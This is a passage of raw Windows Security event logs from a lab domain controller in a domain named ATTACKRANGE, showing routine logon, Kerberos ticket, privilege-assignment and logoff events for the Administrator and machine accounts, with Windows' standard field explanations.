	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A6E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251572
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251571
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251570
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251569
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A6C7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251568
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A6C7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251567
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A6C7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251566
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251565
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251564
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251563
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A451

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251562
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138E21

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251657
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E94A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251656
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13E94A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64544

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251655
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E94A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251654
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E8E9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251653
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13E8E9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64543

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251652
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E8E9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251651
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E883

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251650
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13E883
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64542

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251649
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E883

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251648
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E822

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251647
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13E822
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64541

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251646
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E822

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251645
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E492

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251644
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E492
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251643
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251642
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251641
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

